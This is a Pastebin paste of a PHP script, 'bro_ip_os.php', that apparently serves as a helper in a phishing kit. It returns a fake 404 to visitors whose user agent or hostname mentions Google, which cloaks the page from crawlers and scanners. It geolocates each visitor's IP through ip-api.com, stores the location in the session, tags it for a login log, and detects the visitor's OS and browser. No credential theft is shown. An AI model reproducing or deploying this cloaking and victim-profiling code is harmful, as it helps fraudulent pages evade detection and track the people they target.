Advertisement
mathio3

bro_ip_os.php

Dec 12th, 2019
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.26 KB | None | 0 0
  1. date_default_timezone_set('Africa/Algiers'); //damn_area
  2. #mathio.dz
  3.  
  4. if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  5. if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  6.  
  7.  
  8. $client  = @$_SERVER['HTTP_CLIENT_IP'];
  9. $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  10. $remote  = @$_SERVER['REMOTE_ADDR'];
  11. $result  = "Unknown";
  12. if(filter_var($client, FILTER_VALIDATE_IP)){
  13.     $ip = $client;
  14. }
  15. elseif(filter_var($forward, FILTER_VALIDATE_IP)){
  16.     $_SESSION['_ip_'] = $ip = $forward;
  17. }
  18. else{
  19.     $_SESSION['_ip_'] = $ip = $remote;
  20. }
  21. $IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$_SESSION['_ip_']));
  22. $LOOKUP_COUNTRY = $IP_LOOKUP->country;
  23. $LOOKUP_CNTRCODE= $IP_LOOKUP->countryCode;
  24. $LOOKUP_CITY    = $IP_LOOKUP->city;
  25. $LOOKUP_REGION  = $IP_LOOKUP->region;
  26. $LOOKUP_STATE   = $IP_LOOKUP->regionName;
  27. $LOOKUP_ZIPCODE = $IP_LOOKUP->zip;
  28. $_SESSION['_LOOKUP_COUNTRY_'] = $LOOKUP_COUNTRY;
  29. $_SESSION['_LOOKUP_CNTRCODE_']= $LOOKUP_CNTRCODE;
  30. $_SESSION['_LOOKUP_CITY_']    = $LOOKUP_CITY;
  31. $_SESSION['_LOOKUP_REGION_']  = $LOOKUP_REGION;
  32. $_SESSION['_LOOKUP_STATE_']   = $LOOKUP_STATE;
  33. $_SESSION['_LOOKUP_ZIPCODE_'] = $LOOKUP_ZIPCODE;
  34. $_SESSION['_LOOKUP_REGIONS_'] = $_SESSION['_LOOKUP_STATE_']."(".$_SESSION['_LOOKUP_REGION_'].")";
  35. $_SESSION['_forlogin_'] = $_SESSION['_LOOKUP_CNTRCODE_']." - ".$_SESSION['_ip_'];
  36. $LOGS = "[".date('Y-m-d H:i:s')."] ".$_SESSION['_LOOKUP_CNTRCODE_']." - ".$_SESSION['_ip_']."";
  37. $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  38. function getOS() {
  39. global $user_agent;
  40. $os_platform    =   "Unknown OS Platform";
  41. $os_array       =   array(
  42.                           '/windows nt 10/i'      =>  'Windows 10',
  43.                           '/windows nt 6.3/i'     =>  'Windows 8.1',
  44.                           '/windows nt 6.2/i'     =>  'Windows 8',
  45.                           '/windows nt 6.1/i'     =>  'Windows 7',
  46.                           '/windows nt 6.0/i'     =>  'Windows Vista',
  47.                           '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
  48.                           '/windows nt 5.1/i'     =>  'Windows XP',
  49.                           '/windows xp/i'         =>  'Windows XP',
  50.                           '/windows nt 5.0/i'     =>  'Windows 2000',
  51.                           '/windows me/i'         =>  'Windows ME',
  52.                           '/win98/i'              =>  'Windows 98',
  53.                           '/win95/i'              =>  'Windows 95',
  54.                           '/win16/i'              =>  'Windows 3.11',
  55.                           '/macintosh|mac os x/i' =>  'Mac OS X',
  56.                           '/mac_powerpc/i'        =>  'Mac OS 9',
  57.                           '/linux/i'              =>  'Linux',
  58.                           '/ubuntu/i'             =>  'Ubuntu',
  59.                           '/iphone/i'             =>  'iPhone',
  60.                           '/ipod/i'               =>  'iPod',
  61.                           '/ipad/i'               =>  'iPad',
  62.                           '/android/i'            =>  'Android',
  63.                           '/blackberry/i'         =>  'BlackBerry',
  64.                           '/webos/i'              =>  'Mobile'
  65.                      );
  66.  
  67. foreach ($os_array as $regex => $value) {
  68.  
  69.  if (preg_match($regex, $user_agent)) {
  70.     $os_platform    =   $value;
  71.  }
  72. }
  73. return $os_platform;
  74. }
  75. function getBrowser() {
  76. global $user_agent;
  77. $browser        =   "Unknown Browser";
  78. $browser_array  =   array(
  79.                             '/msie/i'      => 'Internet Explorer',
  80.                             '/firefox/i'   => 'Firefox',
  81.                             '/safari/i'    => 'Safari',
  82.                             '/chrome/i'    => 'Chrome',
  83.                             '/edge/i'      => 'Edge',
  84.                             '/opera/i'     => 'Opera',
  85.                             '/netscape/i'  => 'Netscape',
  86.                             '/maxthon/i'   => 'Maxthon',
  87.                             '/konqueror/i' => 'Konqueror',
  88.                             '/mobile/i'    => 'Handheld Browser'
  89.  
  90.                    );
  91.  
  92. foreach ($browser_array as $regex => $value) {
  93.  
  94.   if (preg_match($regex, $user_agent)) {
  95.      $browser    =   $value;
  96.   }
  97. }
  98. return $browser;
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement